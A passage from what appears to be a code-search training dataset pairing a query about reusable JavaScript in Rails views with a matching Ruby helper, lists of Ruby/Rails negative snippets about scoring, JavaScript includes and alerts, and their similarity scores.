"def incorrect_hash(arr)\nincorrectStats = {}\narr.each do |q|\nif incorrectStats[q.question_id]\n incorrectStats[q.question_id] = incorrectStats[q.question_id] + 1\nelse \n incorrectStats[q.question_id] = 1\nend\nend\nincorrectStats\nend",
"def addPoints(points) \n\t\t@points += points\n\tend",
"def score(word)\n point_values_hash = point_values\n point_values(word)\n end",
"def normalizeRankings\n setRankings = []\n ranking.each do |allRanking|\n if(allRanking.rank != nil)\n setRankings.push(allRanking)\n end\n end\n \n #setRankings = ranking.where.not(:rank => nil)\n setRankings.order(:rank, :desc)\n setRankings.each_with_index do |iterationRanking, index|\n iterationRanking.rank = index + 1\n end\n end",
"def winning_team\n team_p = []\n team_n = []\n\n game_hash.each do | location, team_data|\n temp = 0\n team_data[:players].each do |p_name, stats|\n temp += stats[:points]\n end\n team_n << team_data[:team_name]\n team_p << temp\n end\n\n team_p[0] > team_p[1] ? team_n[0] : team_n[1]\n\nend",
"def rank_matches (profiles)\n output = { results: [] }\n\n profiles.each do |profile|\n profile_result = {\n profileId: profile['id'],\n matches: []\n }\n\n matches = []\n\n profiles.each do |other_profile|\n # avoid evaluating profile against itself\n next if other_profile == profile\n\n # match percentage with OKCupid's formula\n match_score = Math.sqrt(\n satisfaction(profile, other_profile) *\n satisfaction(other_profile, profile)\n )\n\n # add the match to possible matches\n matches << {\n profileId: other_profile['id'],\n score: match_score\n }\n\n # add the top 10 matches to the profile\n profile_result['matches'] = top_10(matches)\n\n # add the results for the profile to the outp\n output['results'] << profile_result\n end\n end\n\n # return the output\n output\nend",
"def num_points_scored (player_name)\n game_hash.each do |place_name, team|\n \n team[:players].each do |player|\n \n if player[:player_name] == player_name\n return player[:points]\n end\n \n end\n \n end\n\n nba_match\nend",
"def bf_sort_point\n point = 0\n\n # recent review worth more points\n self.member_reviews.each do |r|\n point += 10 if r.created_at > 2.weeks.ago\n point += 3 if r.created_at > 6.weeks.ago and r.created_at <= 2.weeks.ago\n point += 1 if r.created_at <= 6.weeks.ago \n end\n\n point\n end",
"def num_points_scored(player_name)\n player_points = nil\n game_hash.each do |team, team_stats|\n team_stats[:players].each do |player_stats|\n if player_stats[:player_name] == player_name\n player_points = player_stats[:points]\n end\n end\n end\n player_points\nend",
"def score\n # make a local array that will disappear when not in this method\n tally = []\n # for each of the cards in the hand, add their score to the tally from points\n @hand.each do |card|\n tally.push(@points[card])\n end\n # return the tally of the scores\n return tally.sum\nend",
"def league_point_calculator\n\n\tleague_hash = Hash.new\n\n\twhile true\n\n\t\tputs \"\\nWhat is the name of the home team?\"\n\t\thome_team_name = gets.chomp.capitalize\n\n\t\twhile true \n\t\t\tputs \"\\nWhat did #{home_team_name} score?\"\n\t\t\thome_team_score = gets.chomp\n\n\t\t\t# make sure the score is an interger\n\n\t\t\tif home_team_score.to_i.to_s == home_team_score\n\t\t\t\tbreak\n\t\t\telse\n\t\t\t\tputs \"Please enter an interger score value.\"\n\t\t\tend\n\t\tend\n\n\t\tputs \"\\nWhat is the name of the away team?\"\n\t\taway_team_name = gets.chomp.capitalize\n\n\t\twhile true \n\t\t\tputs \"\\nWhat did #{away_team_name} score?\"\n\t\t\taway_team_score = gets.chomp\n\n\t\t\t# make sure the score is an interger\n\n\t\t\tif away_team_score.to_i.to_s == away_team_score\n\t\t\t\tbreak\n\t\t\telse\n\t\t\t\tputs \"Please enter an interger score value.\"\n\t\t\tend\n\t\tend\n\n\t\thome_team_league_points = 0\n\t\taway_team_league_points = 0\n\n\t\t#Compare game scores to detemine earned league points for that game\n\n\t\tif home_team_score > away_team_score\n\t\t\thome_team_league_points += 3\n\t\telsif home_team_score < away_team_score\n\t\t\taway_team_league_points += 3\n\t\telse\n\t\t\thome_team_league_points += 1\n\t\t\taway_team_league_points += 1\n\t\tend\n\n\t\tputs \"\\nThe #{home_team_name} has #{home_team_league_points} league points from this game.\"\n\t\tputs \"The #{away_team_name} has #{away_team_league_points} league points from this game.\\n\"\n\t\t\n\t\t# Add data from game to league hash\n\n\t\tif league_hash.has_key?(\"#{home_team_name}\")\n\t\t\tleague_hash[\"#{home_team_name}\"] += home_team_league_points\n\t\telse \n\t\t\tleague_hash[\"#{home_team_name}\"] = home_team_league_points\n\t\tend\n\n\t\tif league_hash.has_key?(\"#{away_team_name}\")\n\t\t\tleague_hash[\"#{away_team_name}\"] += away_team_league_points\n\t\telse\n\t\t\tleague_hash[\"#{away_team_name}\"] = away_team_league_points\n\t\tend\n\n\t\t# Sorting the hash of league scores\t\n\n\t\tsorted_league_hash = league_hash.sort do |a,b|\n\t\t\ta.last == b.last ? a.first <=> b.first : b.last <=> a.last\n\t\tend\n\n\t\t# List the sorted league scores\n\n\t\tputs \"\\nThe current league scores are as follows:\"\n\t\tsorted_league_hash.each { |team,score| puts \"#{team} #{score}\"}\n\n\t\t# Make decision to add data for additional games\n\n\t\twhile true\n\t\t\tputs \"\\nIs there another game for which you would like to log data? (yes/no)\"\n\t\t\tresponse = gets.chomp.downcase\n\n\t\t\tif response == 'yes'\n\t\t\t\tputs \"\\n~~Please enter data for the next game~~\\n\"\n\t\t\t\tbreak\n\t\t\telsif response == 'no'\n\t\t\t\texit\n\t\t\telse\n\t\t\t\tputs \"please answer 'yes' or 'no'\"\n\t\t\tend\n\t\tend\n\tend\nend"
] |
[
"0.7090035",
"0.668032",
"0.64619905",
"0.6367482",
"0.6328738",
"0.63134146",
"0.6300063",
"0.62820774",
"0.62566304",
"0.62551385",
"0.6237811",
"0.6234838",
"0.6215865",
"0.6177377",
"0.6174329",
"0.6102681",
"0.6089473",
"0.60692024",
"0.60599667",
"0.6032594",
"0.601428",
"0.6008397",
"0.5995438",
"0.59686625",
"0.5966964",
"0.5929298",
"0.59255266",
"0.59214455",
"0.59052896",
"0.5905069",
"0.5850429",
"0.5846253",
"0.5840301",
"0.5837843",
"0.5815423",
"0.58087236",
"0.5806031",
"0.58006656",
"0.5798123",
"0.5773019",
"0.5771404",
"0.5764582",
"0.57502365",
"0.5747528",
"0.57465863",
"0.57446045",
"0.5740318",
"0.57290053",
"0.57228327",
"0.57228327",
"0.56985974",
"0.56916046",
"0.56916046",
"0.56894594",
"0.56894505",
"0.56834763",
"0.56808436",
"0.568077",
"0.5671112",
"0.5669064",
"0.566704",
"0.5666571",
"0.5663015",
"0.5663015",
"0.5662738",
"0.565549",
"0.56429",
"0.56427133",
"0.5630085",
"0.5627713",
"0.5627056",
"0.5624745",
"0.5589203",
"0.55865794",
"0.55805993",
"0.5575508",
"0.55728596",
"0.5569635",
"0.5558966",
"0.5558966",
"0.5545878",
"0.55401576",
"0.5539655",
"0.5530888",
"0.55240005",
"0.5508035",
"0.55058736",
"0.5505002",
"0.55048746",
"0.5504038",
"0.55027014",
"0.54953253",
"0.54945934",
"0.549067",
"0.5488383",
"0.54778457",
"0.5477218",
"0.547478",
"0.5471362",
"0.5469539"
] |
0.7001565
|
1
|
Useful for setting js in one view and rendering it in another
|
def javascript(js=nil)
@javascript ||= []
@javascript << js
@javascript.join("\n")
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def inject_js; end",
"def inject_js=(_arg0); end",
"def call_js_init(something_js)\n content_for :javascript do\n \"<script type='text/javascript'>\n $(document).ready(function(){\n #{something_js}\n });\n </script>\".html_safe\n end\n end",
"def js_includes\n end",
"def javascript(*args)\n args = *args.map { |arg| arg == :defaults ? arg : arg.to_s }\n content_for(:javascripts) { javascript_include_tag()}\n end",
"def javascripts\n super + %w(js/custom.js)\nend",
"def render_js(markup)\n\t\t\t\t\t\n\t\t\t\t\tif @movable\n\t\t\t\t\t\tmovable_js = %{\n\t\t\t\t\t\t\tmovable: {\n\t\t\t\t\t\t\t\tplaceholder: '#{markup[:move_placeholder].to_s}',\n\t\t\t\t\t\t\t\turl: '#{self.path_resolver.resolve(@movable[:path], \":id\", \":prev_id\", \":next_id\")}',\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t\tmovable_js = \"\"\n\t\t\t\t\tend\n\n\t\t\t\t\tif @destroyable\n\t\t\t\t\t\tdestroyable_js = %{\n\t\t\t\t\t\t\tdestroyable: {\n\t\t\t\t\t\t\t\tconfirmTitle: '#{I18n.t(\"general.are_you_sure\")}',\n\t\t\t\t\t\t\t\tconfirmMessage: '#{I18n.t(\"general.are_you_sure_explanation\")}',\n\t\t\t\t\t\t\t\tsuccessMessage: '#{I18n.t(\"general.messages.destroy.success\")}',\n\t\t\t\t\t\t\t\terrorMessage: '#{I18n.t(\"general.messages.destroy.error\")}',\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t\tdestroyable_js = \"\"\n\t\t\t\t\tend\n\n\t\t\t\t\tif @sortable\n\t\t\t\t\t\tsortable_js = %{\n\t\t\t\t\t\t\tsortable: true,\n\t\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t\tsortable_js = \"\"\n\t\t\t\t\tend\n\n\t\t\t\t\tif @options[:reload_path]\n\t\t\t\t\t\treloadable_js = %{\n\t\t\t\t\t\t\treloadable: {\n\t\t\t\t\t\t\t\turl: '#{self.path_resolver.resolve(@options[:reload_path], \":id\").gsub(\"%3A\", \":\")}',\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t\treloadable_js = \"\"\n\t\t\t\t\tend\n\n\t\t\t\t\tif @options[:paginate_path]\n\t\t\t\t\t\tpaginateable_js = %{\n\t\t\t\t\t\t\tpaginateable: {\n\t\t\t\t\t\t\t\turl: '#{self.path_resolver.resolve(@options[:paginate_path], page: \":page\").gsub(\"%3A\", \":\")}',\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t\tpaginateable_js = \"\"\n\t\t\t\t\tend\n\n\t\t\t\t\tif @options[:layout] == :thumbnails && @options[:thumbnails_tiles]\n\t\t\t\t\t\ttilable_js = %{\n\t\t\t\t\t\t\ttilable: true,\n\t\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t\ttilable_js = \"\"\n\t\t\t\t\tend\n\n\t\t\t\t\tjs = %{\n\t\t\t\t\t\tvar #{self.js_object} = null;\n\t\t\t\t\t\t$(document).ready(function() {\n\t\t\t\t\t\t\t#{self.js_object} = new RugIndex('#{self.hash}', {\n\t\t\t\t\t\t\t\tcontainerSelector: '#{markup[:container_selector].to_s}',\n\t\t\t\t\t\t\t\titemPath: '#{markup[:item_path].to_s}',\n\t\t\t\t\t\t\t\titemSelector: '#{markup[:item_selector].to_s}',\n\t\t\t\t\t\t\t\taddPosition: '#{@options[:add_position] ? @options[:add_position].to_s : \"append\"}',\n\t\t\t\t\t\t\t\t#{reloadable_js}\n\t\t\t\t\t\t\t\t#{paginateable_js}\n\t\t\t\t\t\t\t\t#{movable_js}\n\t\t\t\t\t\t\t\t#{destroyable_js}\n\t\t\t\t\t\t\t\t#{sortable_js}\n\t\t\t\t\t\t\t\t#{tilable_js}\n\t\t\t\t\t\t\t});\n\t\t\t\t\t\t\t#{self.js_object}.ready();\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t\treturn js\n\t\t\t\tend",
"def javascript!\n @coffeescript = false\n end",
"def set_static_includes\r\n @javascripts = [JS_SCRIPTACULOUS_SKOBEE_DEFAULT, JS_SKOBEE_PLANS, JS_DATEPICKER, JS_JSON]\r\n end",
"def javascript_path; end",
"def j(javascript); end",
"def render_js(template=nil)\n render :js => true, :action => (template || params[:action])\n end",
"def content\n respond_to do |format|\n format.js \n end \n end",
"def js!\n js(reset: true)\n end",
"def edit\n @javascripts = %w(wedding-form.js)\n end",
"def render_to_body(options = {})\n add_js_hook controller_name => options[:template].to_s.camelize if options[:template] && add_default_js_hooks?\n super\n end",
"def prepare_js\n compile_templates\n compile_controllers\n end",
"def page_script(context={})\n \n [\"/htmleditor/js/jquery.wysiwyg.js\",\n \"/htmleditor/js/ysd.editor.js\",\n \"/htmleditor/js/controls/wysiwyg.colorpicker.js\",\n \"/htmleditor/js/controls/wysiwyg.cssWrap.js\",\n \"/htmleditor/js/controls/wysiwyg.image.js\",\n \"/htmleditor/js/controls/wysiwyg.link.js\",\n \"/htmleditor/js/controls/wysiwyg.table.js\",\n ] \n \n end",
"def defaults\n @javascripts = false # do not include any javascripts\n id = params[:id]\n if id then\n render :template => \"js/#{id}\"\n else\n render :template => 'js/defaults'\n end\n end",
"def render_inline_javascripts\n #write out any inline javascript\n return '' if @content_for_inline_javascripts.blank?\n js_code = \"\\n<!-- Inline Javascripts -->\\n#{@content_for_inline_javascripts}\"\n end",
"def js(page_js) \n page_js.split(' ').each do |item|\n content_for(:js) do\n \"<script src=\\\"/javascripts/#{item}.js\\\" type=\\\"text/javascript\\\"></script>\\n\" \n end\n end \n end",
"def javascript_tag(content_or_options_with_block = T.unsafe(nil), html_options = T.unsafe(nil), &block); end",
"def partial_javascript(name, options={})\n old_format = self.template_format\n self.template_format = :js\n render({ :partial => name }.merge(options))\n ensure\n self.template_format = old_format\n end",
"def render_js_ajax\n render_code(@js, :ajax)\n end",
"def load_js\n AssetManager.include_contrib_library [:core_ui, :jquery_tab]\n AssetManager.include_local_library [ 'ckeditor/init']\n\n AssetManager.include_css [:blog_global]\n end",
"def render_javascript(template)\n assign(template: template)\n assign(nonce: @env[\"action_dispatch.content_security_policy_nonce\"])\n render(template: template, layout: \"layouts/javascript\")\n end",
"def javascript_path=(_arg0); end",
"def js_tag(script) #:nodoc:\r\n \"<script type=\\\"text/javascript\\\">#{script}</script>\"\r\nend",
"def js_tag(script) #:nodoc:\r\n \"<script type=\\\"text/javascript\\\">#{script}</script>\"\r\nend",
"def signup_form_javascript\n render :partial => 'users/signup_form_javascript'\n end",
"def start \n render :partial=>\"start.js.erb\"\n end",
"def touchpoints_js_string\n ApplicationController.new.render_to_string(partial: \"components/widget/fba.js\", locals: { touchpoint: self })\n end",
"def has_js\n session[:surveyor_javascript] = \"enabled\"\n render :text => 'ok'\n end",
"def js_erb_auto_include\n # Refactor this for resource controller: use request.path and request.path_parameters to deterine which url\n #path_params = request.path_parameters\n #path_params.delete(:action)\n #puts request.path\n #puts path_params.inspect\n #@js_erb_auto_include_controller_url = url_for(path_params.merge({ :format => 'js' }))\n #puts url_for(path_params.merge({ :format => 'js' })).inspect\n @js_erb_auto_include_url = url_for(request.path_parameters.merge({ :format => 'js' }))\n #puts url_for(request.path_parameters.merge({ :format => 'js' })).inspect\n end",
"def show\n @javascript = @site.javascripts.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @javascript }\n end\n end",
"def javascript(*args)\n args = args.map { |arg| arg == :defaults ? arg : arg.to_s }\n head { javascript_include_tag *args }\n end",
"def javascript_library=(jslib)\n require \"scaffolding_extensions/#{jslib.downcase}_helper\"\n ScaffoldingExtensions::Helper.send(:include, const_get(\"#{jslib}Helper\"))\n end",
"def active_scaffold_javascripts(frontend = :default)\n super\n #super + [calendar_date_select_javascripts]\n end",
"def add_js_and_css_to_form\n unless @check_migration\n page_options = open(\"app/views/admin/#{@plural_name}/_form.html.erb\").grep(/content_for :javascripts/)\n \n if page_options.empty?\n insert_into_file \"app/views/admin/#{@plural_name}/_form.html.erb\",\n :before => \"<%= form_for\" do\n \"<% content_for :javascripts do %>\" +\n \"\\n\\t<script>\" +\n \"\\n\\t\\t$(document).ready(function(){\" +\n \"\\n\\t\\t\\tpage_options.init(false, '', '');\" +\n \"\\n\\t\\t});\" +\n \"\\n\\t</script>\"+\n \"\\n\\t<%= javascript_include_tag 'gallery' %>\" +\n \"\\n<% end %>\" +\n \n \"\\n\\n<% content_for :stylesheets do %>\" +\n \"\\n\\t<%= stylesheet_link_tag 'gallery' %>\" +\n \"\\n<% end %>\\n\\n\"\n end\n else\n insert_into_file \"app/views/admin/#{@plural_name}/_form.html.erb\",\n :after => \"<% content_for :javascripts do %>\" do\n \"\\n\\t<%= javascript_include_tag 'gallery' %>\"\n end\n \n insert_into_file \"app/views/admin/#{@plural_name}/_form.html.erb\",\n :before => \"<% content_for :javascripts do %>\" do\n \"\\n<% content_for :stylesheets do %>\" +\n \"\\n\\t<%= stylesheet_link_tag 'gallery' %>\" +\n \"\\n<% end %>\\n\"\n end\n end\n end\n end",
"def setUserJavascript\n if logged_in?\n \"<script type=\\\"text/javascript\\\">\nlikeMachineUserLogin='#{current_user.login}';\n</script>\";\n else\n \"\"\n end\n end",
"def update!\n inject_js\n self\n end",
"def enhance\n return not_implemented unless request.format.js?\n\n render :enhance, content_type: js_mime_type\n end",
"def js_framework_settings(additional_settings_hash = {}, override = true)\n settings = @js_framework_settings\n settings.merge!(additional_settings_hash)\n\n if override\n return javascript_tag(\"APPLICATION = #{settings.to_json};\")\n else\n return javascript_tag(\"$.extend(true, APPLICATION, #{settings.to_json});\")\n end\n end",
"def netzke_js\n js=\"Ext.Ajax.extraParams = {authenticity_token: '#{form_authenticity_token}'}; // Rails' forgery protection\\n\"\n\n\n js << <<-END_OF_JAVASCRIPT if(!ActionController::Base.relative_url_root.blank?)\n // apply relative URL root, if set\n Ext.widgetMixIn.buildApiUrl= function(apip){\n return \"#{ActionController::Base.relative_url_root}/netzke/\" + this.id + \"__\" + apip;\n };\n Ext.BLANK_IMAGE_URL = \"#{ActionController::Base.relative_url_root}/extjs/resources/images/default/s.gif\";\n END_OF_JAVASCRIPT\n\n js << <<-END_OF_JAVASCRIPT\n #{@content_for_netzke_js_classes}\n Ext.onReady(function(){\n #{@content_for_netzke_on_ready}\n });\n END_OF_JAVASCRIPT\n\n javascript_tag js\n \n end",
"def render_deferred_javascript_tags\n # First write the onload inline javascripts\n js_code = ''\n js_code << render_deferred_javascript_files\n js_code << render_inline_javascripts\n js_code << render_inline_on_load_javascripts\n js_code\n end",
"def html_fallback_for_js; end",
"def js_tag(name)\n file = App.asset_path(name, :js)\n content_tag :script, nil, src: file, type: 'text/javascript'\n end",
"def touchpoints_js_string\n ApplicationController.new.render_to_string(partial: \"components/widget/fba\", formats: :js, locals: { touchpoint: self })\n end",
"def call_reins_controller\n \"#{ update_reins_controller }r.call_js_controller();\".html_safe\n end",
"def javascript(*args)\n content_for(:javascript) { javascript_include_tag(*args) }\n end",
"def initial_dynamic_javascript\n res = []\n # res << %(Ext.Ajax.extraParams = {authenticity_token: '#{form_authenticity_token}'}; // Rails' forgery protection)\n res << %{Ext.ns('Netzke');}\n res << %{Ext.ns('Netzke.core');}\n res << %{Netzke.RelativeUrlRoot = '#{ActionController::Base.config.relative_url_root}';}\n res << %{Netzke.RelativeExtUrl = '#{ActionController::Base.config.relative_url_root}/extjs';}\n\n res << %{Netzke.core.directMaxRetries = '#{Netzke::Core.js_direct_max_retries}';}\n\n res.join(\"\\n\")\n end",
"def js_code\n '<script type=\"text/javascript\">' <<\n asset('webconsole.js') <<\n '</script>'\n end",
"def update\n @mentor = \"Arnold\"\n render \"update.js.coffee\"\n end",
"def javascript_include_tag(*sources)\n behaviours = ''\n if sources.delete :acts_as_node\n #graph drawing\n root_dir = 'jsviz/0.3.3/'\n sources = sources.concat(\n ['physics/ParticleModel', 'physics/Magnet', 'physics/Spring', 'physics/Particle', 'physics/RungeKuttaIntegrator', 'geometry/SnowflakeGraphModel', 'layout/graph/ForceDirectedLayout', 'layout/graph/SnowflakeLayout', 'layout/view/HTMLGraphView', 'layout/view/SVGGraphView', 'util/Timer', 'util/EventHandler', 'io/DataGraph', 'io/JSVIZHTTP', 'io/XMLTreeLoader']\n ).uniq.map { |js_file| root_dir + js_file }\r\n sources = sources.concat(['tooltip/boxover'])\r\n end\n rails_javascript_include_tag(*sources)\n end",
"def javascript_include_tag(*sources); end",
"def javascript_include_tag(*sources); end",
"def javascript_include_tag(*sources); end",
"def renderJS\n \trespond_to do |format|\n \tformat.js if request.xhr?\n\t\t\tformat.html\n end\n end",
"def render_inline_on_load_javascripts\n return '' if @content_for_jquery_onload.blank? && @content_for_javascript_files_onload.blank?\n js_code = \"\\n<!-- DEFFERRED On page load Javascripts -->\\n\"\n on_load_scripts = [ ]\n #write the onload inline javascripts\n on_load_scripts << @content_for_jquery_onload if @content_for_jquery_onload\n #write the javascript files which are jammed into the document head\n on_load_scripts << @content_for_javascript_files_onload if @content_for_javascript_files_onload\n js_code << javascript_tag(j_query_on_load_tag(on_load_scripts)) unless on_load_scripts.blank?\n js_code\n end",
"def copy_js\n template \"public/javascripts/regulate_admin.js\", \"public/javascripts/regulate_admin.js\"\n end",
"def js(*code)\n JS.new(*code)\nend",
"def create\n @javascript = @site.javascripts.new(params[:javascript])\n @javascript.created_by = @javascript.updated_by = current_user\n \n respond_to do |format|\n if @javascript.save\n flash[:notice] = \"Javascript was successfully created.\"\n format.html { redirect_to([:admin, @site, @javascript]) }\n format.xml { render :xml => @javascript, :status => :created, :location => @javascript }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @javascript.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def add_to\n render :'cash_ledgers/show_js/add_to'\n end",
"def get_content\n respond_to do |format|\n format.js\n end\n end",
"def get_content\n respond_to do |format|\n format.js\n end\n end",
"def update(options={})\n content = render(options)\n Apotomo.js_generator.update(options[:selector] || self.name, content)\n end",
"def use_controller_js\n @controller_js = params[:controller].split('/')[-1]\n end",
"def use_controller_js\n @controller_js = params[:controller].split('/')[-1]\n end",
"def view_renderer; end",
"def view_renderer; end",
"def render_js_realtime\n render_code(@js, :realtime)\n end",
"def set_static_includes\r\n @javascripts = [JS_SCRIPTACULOUS_SKOBEE_DEFAULT, JS_SKOBEE_COMMENTS]\r\n end",
"def <<(javascript)\n self.script << javascript\n \n javascript\n end",
"def action_javascript\n asset_context.js( request.symbolized_path_parameters[:action] )\n end",
"def edit\n respond_to do |format|\n format.js{ }\n end\nend",
"def replace(options={})\n content = render(options)\n Apotomo.js_generator.replace(options[:selector] || self.name, content)\n end",
"def java_script_object\n @js_wrapper\n end",
"def render_deferred_javascript_files\n #write any deffered javascript files\n return '' if @content_for_javascript_files.blank?\n js_code = \"\\n<!-- DEFFERRED Javascripts -->\\n#{@content_for_javascript_files}\"\n end",
"def public_load\n @note = Note.find_by_user_id(current_user.id)\n respond_to do |format|\n if @note\n format.js\n else\n @note = Note.new\n @note.user_id = current_user.id\n @note.public = \"Click the edit link above to add your thought to share...\"\n @note.save\n format.js\n end\n end \n end",
"def make_render_in_view exp\n make_render exp, true\n end",
"def javascript_include_tag(*sources)\n super *sources_with_path('javascripts', sources)\n end",
"def generate_view_js(srcpath, view_name, dest)\r\n #dest = StringIO.new\r\n dest << \"////// AUTOGENERATED VIEW FROM #{srcpath.basename.to_s} /////\\n\"\r\n dest << \"#{view_name}.prototype.generateHTML = function() {\\n\"\r\n source = File.new(srcpath).read\r\n counting_listener = SailsXML::LastRootTagStreamListener.new()\r\n counting_parser = REXML::Parsers::StreamParser.new(source, counting_listener)\r\n counting_parser.parse\r\n\r\n listener = SailsXML::SailsXMLStreamListener.new(\"__sout\", dest, counting_listener.last_root_index)\r\n parser = REXML::Parsers::StreamParser.new(source, listener)\r\n parser.parse\r\n \r\n listener.eof\r\n dest << \"return __sout; }\\n\"\r\n #dest.seek(0, IO::SEEK_SET)\r\n #return the result\r\n #return dest.read\r\n dest\r\n end",
"def editbookmark\n set_bookmark\n respond_to do |format|\n format.js\n end\n end",
"def render_with_layout(template, locals = {}, additional_js = [], additional_css = [])\n script_tags = \"\"\n css_tags = \"\"\n additional_js.each { |fileName| script_tags << \"<script src='/js/#{fileName}'></script>\" }\n additional_css.each do |fileName|\n css_tags << \"<link rel='stylesheet' type='text/css' href='/css/#{fileName}'/>\"\n end\n erb :base, :locals => locals.merge({ :template => template, :user => @user,\n :script_tags => script_tags, :css_tags => css_tags })\n end",
"def show\n respond_to do |f|\n f.js\n end\n end",
"def show\n respond_to do |f|\n f.js\n end\n end",
"def show\n respond_to do |f|\n f.js\n end\n end",
"def sync_js\n if self.sync_js_dir(💎.engine.dir('services/web_assets/src/'), \"#{@path_base}src/\")\n self.build_js(true)\n self._sync_js(true)\n end\n\n end",
"def loadtheme \n @preference = Preference.find_or_create_by_user_id(current_user.id)\n \n respond_to do |format|\n format.js\n end\n end",
"def js_partial(name, options={})\n old_format = self.template_format\n self.template_format = :html\n js render({ :partial => name }.merge(options))\n ensure\n self.template_format = old_format\n end",
"def show\n # Get the html, svg, css, and js code to render\n @code = get_article_code\n\n # The default layouts are not added as this page will be\n # embeded in an iframe\n render layout: false\n end",
"def js_reload\n riak_admin 'js_reload'\n end",
"def new\n @javascript = @site.javascripts.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @javascript }\n end\n end",
"def show\n headers['Content-Type'] = \"application/javascript\"\n path = normalize_path(params[:js_path])\n p path\n return head(:forbidden) unless can_render_path?(path)\n compiled = Barista.compile_file!(path)\n compiled.nil? ? head(:not_found) : render(:text => compiled.to_s)\n end",
"def set_main\n @picture.become_main_picture\n \n respond_to do |format|\n format.js\n end\n end",
"def set_razor\n @razor = Razor.find(params[:id])\n end",
"def js_options; @js_opts end",
"def coming_soon\n respond_to do |format|\n format.js{ render \"coming_soon.js.erb\"}\n format.html{ render \"coming_soon.html.erb\"}\n end\n end",
"def appoxy_javascripts\n '<script type=\"text/javascript\" src=\"http://www.google.com/jsapi?key=ABQIAAAAhes0f80sBcwL-h5xCNkkgxQBmiBpQeSpIciQPfZ5Ss-a60KXIRQOVvqzsNpqzhmG9tjky_5rOuaeow\"></script>\n <script type=\"text/javascript\">\n google.load(\"jquery\", \"1\");\n google.load(\"jqueryui\", \"1\");\n </script>\n '.html_safe\n end",
"def has_js(*args)\n content_for :extra_head, javascript_include_tag(*args)\n end",
"def js(name, *args)\n js_or_css :js, name, *args\n end"
] |
[
"0.7581255",
"0.68121856",
"0.67976415",
"0.652503",
"0.6430133",
"0.6424622",
"0.63792324",
"0.63500494",
"0.6325136",
"0.6292612",
"0.62878555",
"0.62751305",
"0.6248278",
"0.6220473",
"0.62197196",
"0.6183433",
"0.61679447",
"0.61606544",
"0.61429614",
"0.6136029",
"0.6133407",
"0.61155283",
"0.6108934",
"0.60980886",
"0.609062",
"0.6060987",
"0.6055149",
"0.60509324",
"0.60509324",
"0.6024837",
"0.6022601",
"0.60212785",
"0.60069317",
"0.5998237",
"0.599442",
"0.5965571",
"0.5961587",
"0.59458905",
"0.5945389",
"0.59407383",
"0.59386116",
"0.5937065",
"0.59136605",
"0.5911512",
"0.5909899",
"0.588836",
"0.5884421",
"0.58799744",
"0.585044",
"0.58486146",
"0.58383423",
"0.58291197",
"0.5824504",
"0.5822361",
"0.582031",
"0.582031",
"0.582031",
"0.5811923",
"0.581146",
"0.5807958",
"0.5806668",
"0.5801323",
"0.5798632",
"0.577684",
"0.577684",
"0.5775834",
"0.577147",
"0.577147",
"0.5767916",
"0.5767916",
"0.5764391",
"0.5761922",
"0.5754774",
"0.5750823",
"0.5746552",
"0.5746544",
"0.5740043",
"0.57376707",
"0.5721927",
"0.57103384",
"0.5708679",
"0.5708153",
"0.57001567",
"0.56908673",
"0.56768113",
"0.56768113",
"0.56768113",
"0.56680256",
"0.566494",
"0.56638116",
"0.5662126",
"0.56607294",
"0.56411594",
"0.5634593",
"0.5631679",
"0.5630003",
"0.56263775",
"0.5618908",
"0.56187177",
"0.5615557",
"0.55981356"
] |
0.0
|
-1
|
Create alerts with custom classes
|
def alert(id, msg, *classes)
flash[rand(9999).to_s] = {:msg => msg, :classes => classes}
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def container_class\n string = 'alert '\n string += @context == 'default' ? 'alert-info' : \"alert-#{@context}\"\n string += \" #{@class}\"\n string\n end",
"def container_class\n \"alert alert-#{@context} #{@class}\"\n end",
"def alert_helper(*args, &block)\n Alert.new(self, *args, &block)\n end",
"def create_alert(obj, alert_type)\n alert = self.alerts.new\n alert.thing = obj\n alert.reason_type = alert_type\n alert.save\n end",
"def alert\n Alert.new(self)\n end",
"def alert_class(name)\n if name == :alert\n \"alert-error\"\n else #if name == \"notice\"\n \"alert-success\"\n end\n end",
"def alert_class(type)\n styles = {\n success: 'alert-success',\n error: 'alert-danger',\n alert: 'alert-warning',\n notice: 'alert-info'\n }\n type_sym = type.to_sym\n return styles[type_sym] if styles.key? type_sym\n type.to_s\nend",
"def alert_msg alert_type\n case alert_type\n when \"success\"\n \"alert alert-success\"\n when \"danger\"\n \"alert alert-danger\"\n when \"error\"\n \"alert alert-error\"\n else\n \"alert\"\n end\n end",
"def alert_classes(flash_type)\n \"alert alert-#{flash_type} alert-dismissible fade show\"\n end",
"def api_class\n 'alert'\n end",
"def types\n {\n alert: 'alert-error',\n notice: 'alert-success',\n warning: 'alert-warning',\n info: 'alert-info',\n }\n end",
"def alert_class_for(flash_type)\n {\n :success => 'alert-success',\n :error => 'alert-danger',\n :alert => 'alert-warning',\n :notice => 'alert-info'\n }[flash_type.to_sym] || flash_type.to_s\n end",
"def add_alerts(text)\n map = {\n '=>' => 'success',\n '->' => 'info',\n '~>' => 'warning',\n '!>' => 'danger',\n }\n\n regexp = map.map { |k, _| Regexp.escape(k) }.join('|')\n\n if md = text.match(/^<p>(#{regexp})/)\n key = md.captures[0]\n klass = map[key]\n text.gsub!(/#{Regexp.escape(key)}\\s+?/, '')\n\n return <<-EOH.gsub(/^ {12}/, '')\n <div class=\"alert alert-#{klass}\" role=\"alert\">\n #{text}</div>\n EOH\n else\n return text\n end\n end",
"def alert=(message); end",
"def alert=(message); end",
